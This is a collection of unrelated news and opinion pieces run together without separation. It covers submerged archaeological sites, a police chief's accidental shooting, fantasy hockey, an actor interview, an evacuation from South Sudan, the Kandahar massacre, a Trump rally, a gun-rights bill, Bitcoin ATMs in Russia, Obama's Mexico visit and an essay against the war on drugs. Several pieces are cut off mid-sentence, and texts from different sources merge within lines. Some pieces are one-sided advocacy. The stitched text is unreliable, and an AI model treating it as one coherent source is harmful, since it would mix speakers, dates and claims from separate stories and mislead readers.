In March, this year, marine archaeologist and researcher at the Centre National de la Recherche Scientifique (CNRS) in France, Giulia Boetto, announced the incredible discovery of a boat wreck in Zambratija Cove, Croatia, which was just dated to 1,200 BC. The unique and rare finding is a Bronze Age sewn boat, a type of wooden boat which is literally sewn together using ropes, roots, or willow branches. The boat measures 7 metres in length and 2.5 metres in width and is a sewn boat, which was a technique of shipbuilding practiced in the Adriatic until the Roman era. The remains of the boat found in Zambratija Cove are incredibly well-preserved for its age, with stitching still visible in some areas and the frame largely undamaged. The different types of wood used to construct it have been identified as elm, alder, and fir, and tree ring dating is currently underway, which will provide the date the tree was cut to the nearest year. Ms Boetto said that they hope to finalise a 3D model of the boat and, eventually, a complete reconstruction.
4. Elongated skulls found in Maya underwater cave
In January, 2014, a flooded sinkhole in southern Mexico that terrifies local villagers was explored by underwater archaeologists, who found the submerged cavern littered with elongated skulls and human bones. The underwater cavern, known as Sac Uayum, is a cenote located in Mexico’s Yucatán Peninsula. A cenote is a natural pit resulting from the collapse of limestone bedrock that exposes groundwater underneath. They were sometimes used by the ancient Maya for sacrificial offerings. Local legend says that the mysterious cavern is guarded by a feathered, horse-headed serpent. Older residents of the nearby village of Telchaquillo tell stories of people seeing the serpent perching in a tree, leaping up, spinning around three times, and diving into the water. From the first day of diving archaeologists discovered that there may be a very real reason why the villagers fear the place. It appears something terrible took place there and perhaps knowledge of this was passed down over the centuries leading to the development of myths and legends. The team identified more than a dozen human remains. The bones bear no marks that would indicate cause of death, so the people probably weren't sacrificed. According to the researchers, the elongated skulls were intentionally flattened during infancy, a practice that archaeologists are still seeking answers for.
5. Swedish divers find 11,000-year-old underwater relics
Earlier this year, Swedish divers made a unique and rare discovery in the Baltic Sea – Stone Age artifacts left by Swedish nomads dating back 11,000 years. Researchers uncovered a number of remnants that are believed to have been discarded in the water by Swedes in the Stone Age, objects which have been preserved thanks to the lack of oxygen and the abundance of gyttja sediment, which is sediment rich in organic matter at the bottom of a eutrophic lake. It is extremely rare to find evidence from the Stone Age so unspoiled. Buried 16 metres below the surface, the team uncovered wood, flint tools, animal horns and ropes. Among the most notable items found include a harpoon carving made from an animal bone, and the bones of an ancient animal called aurochs, the ancestor of domestic cattle, the last of which died off in the early 1600s. Archaeologists are continuing the dig, and are now particularly interested to see whether there is also an ancient burial site in the region.
6. Mysterious 10,000-year-old underwater ruins in Japan
On the southern coast of Yonaguni, Japan, lie submerged ruins estimated to be around 10,000 years old. The origin of the site is hotly debated - many experts argue that is man-made, while more other scientists insist it was carved out by natural phenomena. The unique and awe-inspiring site was discovered in 1995 by a diver who strayed too far off the Okinawa shore and was dumb-struck when he stumbled upon the sunken arrangement of monolithic blocks "as if terraced into the side of a mountain". The site consists of huge stone blocks which fit together perfectly, right angled joins, carvings and what appear to be stairways, paved streets, crossroads and plazas. Despite the unusual features displayed at Yonaguni, there remains some scientists, such as Geologist Robert Schoch of Boston University, who have studied the formation and who are adamant that the large blocks formed naturally as a result of tectonic movement.
7. The controversial underwater structures of Zakynthos
In June 2013, Greek archaeologists announced an amazing finding – an ancient underwater city in the gulf of Alykanas in Zakynthos, Greece. According to the Underwater Antiquities Department, the discovery included huge public buildings, cobblestone paving, bases for pillars and other antiquities. Of particular significance were the 20 stone pillar bases, all of which feature a “34 cm diameter incision”, which were probably meant for wooden columns. Preliminary observations led to the conclusion that the remains belonged to a large ancient public building, probably belonging to an important settlement in the ancient city’s port. However, in a strange twist, a study released in December claimed that the ‘artifacts’ are not remnants of an ancient city at all, but simply a unique natural phenomenon.
8. The perfectly preserved ancient Chinese underwater city
The Lion City, otherwise known as Shi Cheng, is an ancient submerged city that lies at the foot of Wu Shi Mountain (Five Lion Mountain), located beneath the spectacular Qiandao Lake (Thousand Island Lake) in China. Officials have taken a renewed interest in the sunken city since discovering in February this year, that despite more than 50 years underwater, the entire city has been preserved completely intact, transforming it into a virtual time capsule. The Lion City was built during the Eastern Han Dynasty (25 – 200 AD) and was once the centre of politics and economics in the eastern province of Zhejiang. But in 1959, the Chinese government decided a new hydroelectric power station was required - so it built a man-made lake, submerging Shi Cheng under 40 metres of water. The Lion City lay undisturbed and forgotten for 53 years, until Qiu Feng, a local official in charge of tourism, decided to see what remained of the city under the deep waters. He was amazed to discover that, protected from wind, rain, and sun, the entire city complete with temples, memorial arches, paved roads, and houses, was completely intact, including wooden beams and stairs.
9. The 5,000-year-old sunken city in Southern Greece
In the Peloponnesus region of southern Greece there is a small village called Pavlopetri, where a nearby ancient city dating back 5,000 years resides. However, this is not an ordinary archaeological site – the city can be found about 4 meters underwater and is believed to be the oldest known submerged city in the world. The city is incredibly well designed with roads, two storey houses with gardens, temples, a cemetery, and a complex water management system including channels and water pipes. In the centre of the city, was a square or plaza measuring about 40x20 meters and most of the buildings have been found with up to 12 rooms inside. The design of this city surpasses the design of many cities today. The city is so old that it existed in the period that the famed ancient Greek epic poem ‘Iliad’ was set in. Research in 2009 revealed that the site extends for about 9 acres and evidence shows that it had been inhabited prior to 2800 BC. Scientists estimate that the city was sunk in around 1000 BC due to earthquakes that shifted the land. However, despite this and even after 5,000 years, the arrangement of the city is still clearly visible and at least 15 buildings have been found. The city’s arrangement is so clear that the head of the archaeological team, John Henderson of the University of Nottingham, and his team, have been able to create what they believe is an extremely accurate 3D reconstruction of the city.
10, Ancient Egyptian city of Heracleion - on the border between myth and reality
The city of Heracleion, home of the temple where Cleopatra was inaugurated, plunged into the Mediterranean Sea off the coast of Egypt nearly 1,200 years ago. It was one of the most important trade centres in the region before it sank more than a millennium ago. For centuries, the city was believed to be a myth, much like the city of Atlantis is viewed today. But in 2001, an underwater archaeologist searching for French warships stumbled across the sunken city. After removing layers of sand and mud, divers uncovered the extraordinarily well preserved city with many of its treasures still intact including, the main temple of Amun-Gerb, giant statues of pharaohs, hundreds of smaller statues of gods and goddesses, a sphinx, 64 ancient ships, 700 anchors, stone blocks with both Greek and Ancient Egyptian inscriptions, dozens of sarcophagi, gold coins and weights made from bronze and stone. The Greek historian Herodotus (5th century BC) told us of a great temple that was built where the famous hero Heracles first set foot on to Egypt, and was named after him. He also reported of Helen of Troy’s visit to Heracleion with her lover Paris before the Trojan War. More than four centuries after Herodotus’ visit to Egypt, the geographer Strabo observed that the city of Heracleion, which possessed the temple of Herakles, is located straight to the east of Canopus at the mouth of the Canopic branch of the River Nile. However, until its discovery, Heracleion was just a place of legends.
Featured image: A diver rediscovers the opulent Lion City in China. Photo credit.
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A blundering police chief running for promotion has seen his campaign go off with a bang - after accidentally shooting himself for a second time.
David Counceller shot himself in the leg as he was browsing in a gun shop leaving him needing hospital attention.
“I need to pay more attention,” said Counceller. “I know what the dangers are. It was pure carelessness on my part.”
He said he previously shot himself in the hand 15 years ago while he was on duty adding “that one really hurt.”
The 60-year-old, chief of the Connersville police department in Indiana, is running for the Republican nomination for sheriff in Fayette County.
“If anyone says this could never happen to them, they’re mistaken,” he said.
“You have to keep your guard up at all times. Some candidates are out there doing things for kids to try to get elected. Me, I shoot myself. What a way to get publicity.”
Counceller was looking at a.40-calibre Glock handgun on Saturday when he put his own Glock, a similar model, back into his holster. The pistol went off when he put the gun away.
“It got tangled in my clothing,” said the police chief.
“I was wearing a sweatshirt and a fleece jacket. I felt (the gun) go in the holster and I pushed it, but it was tangled in the material, which caused it to discharge. The bullet went into my leg and then into the floor.”
Counceller drove himself to the hospital where he was treated for the flesh wound in his upper right thigh.
The town’s mayor, Leonard Urban, said he thought the officer was joking when he said he’d shot himself.
“It was just a little accident. Dave is an excellent marksman,”he said.
“Apparently the Glocks don’t have the trigger safety that they should have.”Welcome to the fantasy hockey stock market. Each week we will look at three players trending up and three players trending down.
Three Up
Micheal Ferland – LW/RW – Flames – 6 Goals, 2 Assists, 37 Shots, 15 Games
Currently riding a three-game goal streak, it’s worth a look in your fantasy league. Seeing 80 per cent of his shifts alongside Johnny Gaudreau and Sean Monahan, the Flames |
. I had seen the movies. I saw other interpretations. But for this, they really wanted everything to be fresh. They’re operating like they have been doing their movies. I’m finding most of my inspiration for Fisk coming from the old artwork, artists like Frank Miller.
Your new friend Downey must have been very excited you got the role.
He was thrilled. My wife actually texted him a photo of me dressed as Kingpin and we got a very, very excited text back.
I look forward to the Iron Man versus Kingpin crossover happening very soon.
[Laughs.] It’s not impossible! They have all kinds of plans. I think this Daredevil show is going to be the start of some very exciting crossovers.India announced on Wednesday that it will send two C-17 military transport aircraft to South Sudan’s capital Juba on Thursday morning to evacuate over 300 Indians stranded in the war-torn country.
“We are launching OP #SankatMochan to evacuate Indian nationals from South Sudan. My colleague @Gen_VKSingh is leading this operation,” external affairs minister Sushma Swaraj said in a tweet.
All Indian nationals with valid travel documents will be allowed onboard with a maximum of five kilograms of cabin baggage and no check-in pieces. Women and children will be accommodated on priority basis.
Apart from him, Amar Sinha, secretary (economic relations), will also travel to Juba.
South Sudan has witnessed heavy fighting between former rebels and government soldiers. According to the foreign ministry, there are around 600 Indians in South Sudan – 450 of them in Juba and nearly 150 outside the capital.
First Published: Jul 14, 2016 00:35 ISTREPORTING FROM KABUL, AFGHANISTAN -- A lone American serviceman slipped away from his base in southern Afghanistan before dawn Sunday and went on a methodical house-to-house shooting rampage in a nearby village, killing 16 people, nearly all of them women and children, according to Afghan officials who visited the scene.
The NATO force confirmed that the assailant was in military custody, and that he had inflicted an unspecified number of casualties during the shooting rampage at about 3 a.m. Sunday. The U.S. Embassy called for calm and expressed deep condolences; the Taliban referred to the killings as an “act of genocide.”
The British Broadcasting Corp. reported that the shooter was a staff sergeant and a member of the U.S. special operations forces who had been involved in training the Afghan police. [Updated at 10:03 a.m.: The BBC later retracted the report.]
PHOTOS: Afghanistan shooting
The incident, potentially the worst atrocity of the 10-year war to be deliberately carried out by a single member of the Western military, represents a stunning setback to U.S.-Afghan relations, already shaken by last month’s burning of copies of the Koran at a U.S. military base north of Kabul.
Anti-U.S. sentiment flared into deadly riots after the Koran-burning at Bagram airfield came to light. American officials have said the action was a mistake and offered profuse apologies, but some Afghans, including lawmakers and senior clerics, brushed aside the apologies and called for harsh punishment of those involved.
The shooting early Sunday took place in Panjwayi district outside Kandahar city, in a village called Alkozai. U.S. military officials, speaking on condition of anonymity, said it was believed that the assailant had suffered a mental breakdown.
The NATO force issued a terse statement confirming casualties and promising a full investigation by U.S. and Afghan authorities. Later, the acting commander of the U.S.-led coalition, Lt. Gen. Adrian Bradshaw, expressed “deep regret and sorrow at this appalling incident.”
“I cannot explain the motivation behind such callous acts, but they were in no way part of authorized … military activity,” he said.
In the hours after the shooting rampage, casualty counts varied widely. By late afternoon, however, an official provincial delegation had arrived at the scene.
Haji Agha Lalai Dastgeeri, a member of that team, said the official tally was 16 dead. Nine of them were women, four were children and three were men, he said.
“I saw the dead bodies and visited the victims’ families,” he said soberly.
Earlier, Haji Mohammad Ehsan, the deputy head of Kandahar’s provincial council, had put the number of dead at 18. Javed Faisal, a spokesman for the Kandahar media center, said “up to 15” people had been killed, and several others wounded. The conflicting casualty counts could not immediately be reconciled.
The attacker’s motive was unknown, but relations between the U.S. military and ordinary Afghans have been highly fraught since February’s Koran-burning riots, which exacerbated longstanding tensions over civilian casualties and night raids led by U.S. special forces.
During more than a week of nationwide protests over the burning of the holy books that left at least 30 people dead, six U.S. service members were shot and killed by Afghan soldiers or, in the case of two of them, a worker at Afghanistan’s Interior Ministry. Two of the American troops who were killed were deployed in Kandahar province.
Kandahar, which is President Hamid Karzai’s home province, is also the birthplace and spiritual home of the Taliban. Panjwayi district was the scene of heavy fighting two years ago as U.S. forces made a major push to dislodge the insurgents, and parts of the district remain volatile.
The episode is certain to complicate U.S. dealings with Karzai, who has been resistant to American plans to try to inaugurate peace talks with the Taliban movement in the Gulf state of Qatar. The shooting comes days after an agreement to hand suspected insurgents in American custody over to the control of Afghan officials -- a process that is expected to take some months. Karzai had demanded an immediate handover of the main U.S. detention center.
Civilian casualties -- almost always accidentally inflicted when they come at the hands of the Western military -- have long been a sore point in the West’s dealings with Karzai. In a statement, the U.S. Embassy denounced “all violence against civilians,” and promised that the “individual or individuals responsible for this act will be identified and brought to justice.”
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-- Laura King
Photo: Spectators look at the covered bodies of victims allegedly killed by a U.S. serviceman in Panjwayi district in Kandahar, Afghanistan. Credit: I. Sameem / EPADonald Trump speaks to a crowd of supporters during a rally in Springfield, Ill., on Monday. (Seth Perlman/AP)
SPRINGFIELD, Ill. — Just as Donald Trump's Marco Rubio insults were starting to get stale, the Republican front-runner unveiled a new nickname for the senator from Florida: "Lightweight choker."
Yes, this one needs some explaining.
Trump has long called Rubio a "lightweight," saying that he's "weak" on immigration reform, lacks personal financial discipline and has been unable to earn billions of dollars (as Trump has). And Trump loves to remind people that when Rubio formally responded to President Obama's State of the Union Speech on behalf of Republicans in 2013, he paused to sip some bottled water. "He choked!" Trump wrote of the incident on Twitter on Monday night.
Put those two slams together and "lightweight choker" emerges.
"Marco Rubio is totally weak on illegal immigration & in favor of easy amnesty," Trump wrote on Twitter on Monday, following a rally in Illinois. "A lightweight choker — bad for #USA!"
[Inside Marco Rubio’s messy American Express statements]
Monday's rally in Springfield, the Illinois capital and Abraham Lincoln's home, was Trump's first in more than a week, as he spent the first week of November in New York to promote his new book and prepare to host "Saturday Night Live." Toward the end of last month, Trump appeared to tone down his campaign trail insults, instead pitching himself as the perfect next president. But Trump was back on the offensive during the Monday night rally that attracted 10,200.
Here are the rivals Trump focused on during his hour-long speech:
Ben Carson: Trump continued to go after the former surgeon and fellow outsider Republican candidate, who in recent days has faced questions about his supposedly violent childhood that included several attacks on others. At one point Trump marveled at how different this election has been from years past.
"I've never seen anything like it," Trump said. "People are getting away with murder. I never saw anything like this. You can say anything about anybody, and their poll numbers go up. No matter what you do. If you try to hit your mother over the head with a hammer, your poll numbers go up. I never saw anything like it.... A lot of weird things are happening. This is a strange election, isn't it?"
[Ben Carson is still the most popular presidential candidate. And it’s not close.]
Trump said he doesn't understand why Carson is trying so hard to convince everyone that he once tried stabbing a friend, a story told in his autobiography that has come under scrutiny.
"It's the only election in history where you're better off if you stabbed somebody," Trump said. "What are we coming to?"
Hillary Rodham Clinton: Just a couple of minutes into his speech, Trump mentioned the Democratic front-runner, immediately prompting loud boos from the audience. Trump bragged that his appearance on "SNL" attracted far more viewers than Clinton's in early October, even though the Democrat appeared alongside Miley Cyrus.
"She mispronounced a couple of words and stuttered a couple of times," Trump said. "And all she had was one little skit. I had the whole evening, and I didn't stutter once."
Later in the night, Trump said Clinton would be unable to confront the Islamic State terrorist group because she "is not strong enough, she's not tough enough." He continued to hammer her for using a private e-mail server while serving as secretary of state and again called for her indictment.
Rubio: Trump told the crowd that Rubio is "very, very weak on immigration" and was once a member of the bipartisan "Gang of Eight" group of senators who tried to reach a consensus on immigration reform.
"Do you know what the 'Gang of Eight' was? 'Come in, come in, come on in,' " Trump said. "Our system can't take it."
Trump said he doesn't understand why people consider Rubio a great speaker and again brought up water-bottle-gate, mocking Rubio for not drinking his water out of a glass.
"Some people are lucky or something is going on," Trump said of Rubio's success. "Explain it to me."
Bernie Sanders: Early in the night, Trump smiled at a group in the audience that was chanting. At first it sounded like, "We want Trump!" But they were actually saying, "Feel the Bern!" The crowd booed and quickly drowned out the liberal protesters, while Trump shouted: "Get out of here!"
"I thought they were yelling in favor of Trump," the candidate recapped to the audience. "And then finally I realized: Not working so well. It said, 'Feel the Bern.' That means Bernie. That means Bernie, all right?"
Trump then told the crowd about a recent Sanders rally when a couple of Black Lives Matter activists took command of his microphone.
"He was like this," Trump said, taking a step back from his own microphone and cluelessly wandering around, mouth agape like a zombie or a lost tourist. "He is not stopping ISIS, I will tell you."
[Can Bernie Sanders win over Latino voters?]
Trump also criticized Sanders for shutting down discussion of Clinton's e-mail server during the last debate.
Jeb Bush: The former Republican governor of Florida used to be Trump's No. 1 target. But as Bush has fallen in the polls, Trump has made a big deal about going easier on him — which is a different sort of insult. Trump said Monday night that Bush was almost the butt of a "rough line" in an "SNL" skit over the weekend but he vetoed it.
"Because I'm so nice, I said, 'You can't do it,' " Trump said. "It's too mean, too nasty."
Trump continued to explain his supposed act of kindness: "He's not doing too well. And he has been defined. Now I have to define a couple of other people. And it should be easier, actually."
Toward the end of his speech, Trump discussed his deal-making skills, searched for a rival to criticize and asked the crowd for suggestions.
"I used to use Jeb Bush... but who should I use? Who do you want me to use? I can use any of them," Trump asked the crowd, prompting a mix of screamed answers. "You want me to use Rubio? How about I'll use Hillary? How about her?"Authored by Mac Slavo via SHTFplan.com,
Over the past century there has been one undeniable trend working against gun rights. Put simply, as time goes on, it’s harder for a law abiding citizen to own and use a firearm, largely due to the proliferation of state and federal gun laws. A hundred years ago, one could own pretty much any firearm without restriction, and buy a firearm without even a background check (though of course one argue could that a few of these laws are a good idea). Now it’s a heavily regulated industry.
And sure, there have been some victories for the Second Amendment. A few decades ago there were only a handful of states where it was fairly easy to attain a concealed carry permit, and even many deeply conservative states didn’t issue these permits at all. Now that situation has completely reversed, and continues to improve. However, when you look at gun rights on a long enough timeline, it’s obvious that the Second Amendment has lost more than it has won, as state and federal laws have chipped away at our rights little by little.
Fortunately there is a new piece of legislation that could significantly roll back the worst of these laws on the state level, in particular the laws that were put in place under the Obama administration. The Second Amendment Guarantee Act, which was recently proposed by New York Congressman Chris Collins, could prove to be the most significant attack on gun control laws that we’ve seen in generations. According to a press release issued by Collins’ office:
“This legislation would protect the Second Amendment rights of New Yorkers that were unjustly taken away by Andrew Cuomo,” said Collins. “I am a staunch supporter of the Second Amendment and have fought against all efforts to condemn these rights. I stand with the law-abiding citizens of this state that have been outraged by the SAFE Act and voice my commitment to roll back these regulations.”
SAGA would provide an intimidating bulwark against gun control advocates in blue states. In a nutshell, it would prevent these states from passing restrictive laws that exceed the scope of federal gun laws.
In the Collins’ bill, States or local governments would not be able to regulate, prohibit, or require registration and licensing (that are any more restrictive under Federal law) for the sale, manufacturing, importation, transfer, possession, or marketing of a rifle or shotgun. Additionally, “rifle or shotgun” includes any part of the weapon including any detachable magazine or ammunition feeding devise and any type of pistol grip or stock design. Under this legislation, any current or future laws enacted by a state or political subdivision that exceeds federal law for rifles and shotguns would be void. Should a state violate this law, and a plaintiff goes to court, the court will award the prevailing plaintiff a reasonable attorney’s fee in addition to any other damages.
For decades, gun owners living in certain states have had their rights slowly stripped away by legislative bodies that repeatedly passed laws which are in violation of the Second Amendment, and they’ve done so almost completely unopposed. It’s the perfect example of what the Founders hoped to prevent in our society. They feared that the rights of the minority could be taken away by the majority, which is exactly what gun owners in leftists states have had to contend with.
But if SAGA passes, state governments will no longer be able to bully gun owners with their onerous and unconstitutional laws. Gun owners will finally have the same right to bear arms in every state of the union.Bitcoin So What’s With The Bitcoin ATMs Popping Up in Russia?
A few Bitcoin ATMs have recently been spotted in a place not many expected: Russia. Bitcoinist spoke with the machines’ payment provider company to get the latest scoop on how the BTM business is taking root in the city of St. Petersburg.
Fertile Ground?
The first Bitcoin ATM is a one-way BTM from UK-based company Bitlish. It was quietly launched in late February and subtly placed next to a few Bank ATMs at a local business center on St. Petersburg’s Vasilevsky Island.
Besides Bitcoin, the BTM also sells ZCash, Ethereum, and Litecoin.
Shortly thereafter, a second similar machine was spotted at another business center not too far away on the same island.
A few years ago, Russia was seen as one of the most hostile nations for Bitcoin due to some legislators and the Ministry of Finance, in particular, calling for a ban and criminal penalties for mining and even spreading information on cryptocurrencies.
However, the climate has been thawing ever since. Russia is now starting to look like fertile ground for all-things Bitcoin following a favorable stance by the country’s central bank on blockchain technology, reoccurring Bitcoin conferences in the nation’s capital, and the emergence of blockchain startups such as the Moscow-based Waves platform.
Additionally, LocalBitcoins trading has been climbing non-stop as Bitcoin network nodes are becoming more prevalent in Moscow and beyond.
Bitcoin ATM Business Takes Root in Russia
Regardless, Bitcoin businesses are still reluctant to operate in Russia given its lack of regulatory clarity on cryptocurrencies. On the other hand, this means virtually no competition for those brave enough to set up shop first. This is why the country’s first BTM is indeed a milestone, whose success may determine whether other businesses follow suit.
Max Grain of Bitlish told Bitcoinist:
The decision to run the first Russian BTM in Saint-Petersburg was not of our own, we do not operate in Russia directly…We are a software company and crypto payments service provider, so it was our partner who decided to run the terminal integrated with our gateway.
Bitlish revealed that it’s not primarily focused on the Russian market and has partners in the U.S. and Latin America as well. However, it does have plans to expand its network in Europe with up to 5,000 BTMs and up to 300 machines in the CIS countries, which includes Russia.
Cheaper Than LocalBitcoins But…
Interestingly, there is no contact and no support information in the BTM’s touchscreen menu nor on the machine itself. Thus, it’s not exactly clear to first-time buyers who to contact if any problems arise.
It is strictly a one-way machine with a QR-code reader that let’s you insert cash notes to top-up your mobile Bitcoin wallet. The company’s website address is printed on the paper receipt so one should just visit the support link on the website in case of any issues, according to a representative.
The BTM charges a 3% fee with a single transaction limit of up to 15,000 rubles (~$260), which is considerably less than the ~10% premium on LocalBitcoins. However, there is no cap per day on the number of transactions and “you can buy as much cryptocurrency as you want,” according to Grain.
He adds:
We did not contact Russian authorities since it is our partner’s responsibility, but we always recommend to follow any possible local regulations or guidelines…Thats is why the Russian BTM allows you to top-up no more than 15,000 RUR per transaction. This is the limit for one unidentified money transfer transaction.
When asked if the company has been contacted by local authorities, he replied that they have not been informed by their partner of any problems thus far.
Leap of Faith?
Admittedly, the responses from the Bitlish representative were not very reassuring for me. Given the absence of on-site customer support info, the opaque local partner company, and the lack of customer reviews for both Bitlish and their machines, one must take a leap of faith before inserting cash rubles into a potential black hole.
Moreover, how can a first-time buyer explain to local police that some dubious machine — with only the word “Bitcoin” on it — did not send them virtual bits in return?
I’m sure you can see the problem here.
On the other hand, such an approach may be a prudent hedge against the current uncertainty for any Bitcoin businesses in Russia.
Back in 2013, for example, one bar was forced to stop offering bitcoin as a payment option or face being shut down. Unsurprisingly, the business quickly complied. So Bitlish, along with its unnamed partner company, may simply be dipping their toes into this untapped market to see how local authorities will react, which, if positive, could open the floodgates to more BTMs.
Nonetheless, while it’s certainly an encouraging sign to see Bitcoin vending machines popping up, paying a premium for verified LocalBitcoins traders is probably still the best option for Russians to get their hands on some bits.
But if you’re a brave soul, you can try the machines in person at these three locations in St. Petersburg, Russia. Let us know how it goes!
Would you try buying bitcoin from these machines in person? Let us know in the comments below!
Images courtesy of CoinATMRadar.com, Shutterstock, TwitterPlease turn on JavaScript. Media requires JavaScript to play. US President Barack Obama has said the US is a "full partner" with Mexico in its fight against the drug cartels. Speaking in Mexico City, he said the US must stem the flow of guns across the border that is fuelling the bloodshed. Following talks with his Mexican counterpart, Felipe Calderon, Mr Obama said he would push the US Senate to ratify a small arms trafficking treaty. The two leaders also agreed on a new partnership to fight climate change and promote green energy production. Hours before Mr Obama arrived, 15 gunmen and one soldier were killed in a shoot-out in southern Mexico, officials said. Mexico's defence department said soldiers on a drug patrol came under fire from gunmen in a vehicle in the remote, mountainous state of Guerrero. Mr Obama again acknowledged America's shared responsibility for the violence which has killed more than 6,000 people over the last year. 'New era' Speaking at his welcoming ceremony, Mr Obama said the US needed to do more to help.
High hopes for Obama visit "At a time when the Mexican government has so courageously taken on the drug cartels that have plagued both sides of the borders, it is absolutely critical that the United States joins as a full partner in dealing with this issue," Mr Obama said. He said he preferred to focus on enforcing existing laws to keep US assault weapons out of Mexico, rather than trying to renew a US ban which expired in 1994. Backtracking on a campaign pledge to reinstate the ban, Mr Obama said that doing so would be politically difficult. The Mexican leader hailed a "new era" where Mexico and the US faced challenges together. Aside from combating the drug menace, Mr Calderon said the two leaders had agreed on a new framework on clean energy and climate change that set out a legal framework and bilateral market mechanisms for carbon emissions. He said proposals to reduce greenhouse gas emissions would also be discussed. Regional summit Mexico is Mr Obama's only stop on the way to the Summit of the Americas, being held in Trinidad and Tobago. For most Mexicans, the main concern is reviving the economy, says the BBC's Stephen Gibbs in Mexico City. Mexico sends 80% of its exports to the US and millions of Mexican families rely on remittances from relatives working north of the border, our correspondent says. Relations between the US and Mexico hit a low point earlier this year when a US military report said drugs-related violence was in danger of turning Mexico into a failed state. Over the past two years, some 8,000 people have been killed as gangs battle for control of the lucrative drug trafficking routes into the US. But President Obama's administration has since expressed solidarity with Mr Calderon who has sent hundreds of troops to regain control of the worst-affected areas. During a visit to Mexico City in March, US Secretary of State Hillary Clinton said that the US shared responsibility for the drugs problem. She said America's "insatiable demand" for illegal drugs fuelled the trade and that the US had an "inability" to stop weapons from being smuggled south. Mr Obama has sent hundreds of federal agents along with high-tech surveillance equipment and drug-sniffer dogs to help Mexico fight the cartels. On Wednesday, the US placed three Mexican organisations on its list of suspected drug syndicates and Mr Obama also charged a senior official with stopping drugs-related violence crossing from Mexico into the US.
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StumbleUpon What are these? E-mail this to a friend Printable versionMany rich, powerful people have always wanted poor people out of their neighborhoods to reduce their political involvement, organization, presence, and awareness of economic inequities. And when money determines the outcomes of elections, legislation, court cases, and who lives and who dies, the rich almost always get what they want. Politicians are not getting most of their votes (or money) from poor people most in need of help, so they are not influenced by them. Furthermore, immigrants who don’t have legal citizenship, the homeless, people ruled “mentally incompetent” or “incapacitated” in court, ex-felons, and even entire ethnicities, genders, and sexual orientations are barred from voting in many regions of the world.
According to US Census data gathered from November 2016, 69.4 percent of eligible black people reported they were registered to vote and only 57.3 percent of eligible Latinos reported they were registered to vote. As low as this sounds, this actually represented a significant increase in registration compared to previous elections. Many choose to abstain from voting because they are understandably so disillusioned with the whole political process. As stated the electoral college picks the President in the US anyway, not the public. But the fact that so many are simply unable to vote is illustrative of how racist, ableist, sexist, and classist the system continues to be.
Lawmakers allow big banks to turn poor cities into abandoned, foreclosed ghettos by giving poor people loans with incredibly high interest rates for homes they know they can’t afford, and when they are kicked out of their houses, many either become homeless or are forced to relocate to sparsely populated regions where housing is more affordable and they will be unseen by the rich. Banks will then put their old property on the market for virtually nothing, knowing rich investors (sometimes aided by companies like “Condo Vultures”) will buy the property, refurbish it, and resell it to mostly wealthy, white people for an enormous profit. This process of gentrification pushes minorities and the poor to the outskirts, and it is aided by a system that allows poorly-funded schools to go bankrupt while large US liquor companies and gun manufacturers are subsidized. It is also a system that more harshly punishes minorities and the poor for their drugs of choice than it does affluent white people for their drugs of choice. Black people and other minorities have been and still are often used as mere tools in America to increase the fear and hatred of illicit drugs by association. Illicit drugs have always been portrayed by the American government as a threat to capitalism, consumerism, “family values,” and their dogma, and rules.
The illicit drug trade is one of the only trades accessible to everyone. No education or experience is required to stand on a corner with a gun and a bag – just a willingness to take the risk. Of course, poverty changes people and it can motivate many to do desperate or dangerous things to stay alive. By criminalizing drugs and cutting their supply short, governments inflate their prices, and in the absence of good, alternative economic opportunities, some individuals see no other option but to sell drugs. Guns, the drug trade, despair, and the abuse and glamorization of alcohol and unhealthy lifestyle choices destroy poor neighborhoods. Murders, bankruptcies, foreclosures, and arrests often increase until there is not much left.
The war on drugs plainly has nothing to do with public safety or drugs and everything to do with the people using them, as well as the money prohibition creates. The war on drugs, in fact, kills hundreds of thousands (perhaps even millions) every year. The exact numbers are hard to ascertain because while overdose deaths can be counted, deaths from drug wars aren’t always. The drug war also causes a great deal of immeasurable pain and suffering. People from all walks of life are affected. Families are destroyed by the deaths and addictions of their family members and there are losses on all sides. The prohibition of drugs has increased nearly every type of crime because illegal markets feed each other. The criminalization of drugs has also pushed addicts into the shadows and turned their health problems into “crimes.”
The high prices drug dealers usually charge do not discourage most people who are interested or addicted to them from buying them. Most often they cause addicts to become impoverished faster and resort to more extreme measures to feed their addictions. Millions of non-violent drug offenders (who certainly don’t fall into one economic, racial, or social taxonomy) are also imprisoned for casually using non-addictive drugs like cannabis every year. These people can become violent in prison because most prisons are vile places that condition inmates to be more violent and hostile to defend themselves from the abuse of guards and other inmates. They don’t purposefully rehabilitate anyone. Only a few inmates ever “rehabilitate” due to their own personal strength, vigilance, and support. Any prison that still uses solitary confinement as a punishment (and almost all do in America) has no regard for the mental health of inmates incarcerated there. Many prisons even regularly use torture and sensory deprivation, so the idea that are “rehabilitation centers” is a bad joke.
Imprisoning drug addicts is a flagrant abuse of state power (not to imply there is ever a proper use of state power). If a drug addict commits a violent crime or drives while intoxicated, some kind of punishment (not meted out by the state, of course) or rehabilitation is reasonable because this behavior can put other people’s lives at risk. But this can be prevented by reducing the will for reckless, destructive and self-destructive behavior. The majority of drug addicts only harm themselves. These people do not deserve to be punished any further. Most people who use drugs are also not addicts, and they have no difficulty using drugs responsibly and in moderation. The majority of all drug users only use cannabis, which is one of the most harmless and beneficial substances on Earth when used in moderation. According to national survey data conducted by the Substance Abuse and Mental Health Services Administration in 2016, of the 28,564 people surveyed who reported using an illicit drug in the last month, 23,981 of them used cannabis. Only 1,874 used cocaine, 667 used meth, and just 475 used heroin. The second most used category of drugs was prescription pills by a large margin.
The only reason people are incarcerated for using certain drugs is because the government wants to control and profit from them. The war on drugs is a war on people, and it is one of the most effective ways governments control us. Tobacco addicts and alcoholics do not go to prison simply for their addictions. So if the supposed function of drug criminalization was truly to ensure public safety, why would an exception be made for alcohol, tobacco and other harmful legal drugs, which kill far more people? The real reasons alcohol and tobacco are legal are not known by many people, but they are vitally important to understand to comprehend the internal motives for the war on drugs.
5.2 The Real Reasons for the Selective Criminalization of Drugs
According to the Food, Drug, and Cosmetic Act, (21 USC 321) drugs are “articles recognized in the official United States Pharmacopeia, official Homeopathic Pharmacopeia of the United States, or official Natural Formulary…and articles intended for the use in the diagnosis, cure, mitigation, treatment, or prevention of disease in man or other animals and articles other than food intended to affect the structure of any function of the body of man or other animals.” While tobacco and alcohol are drugs too, they are not recognized as medicine and they are not even considered drugs in this piece of legislation.
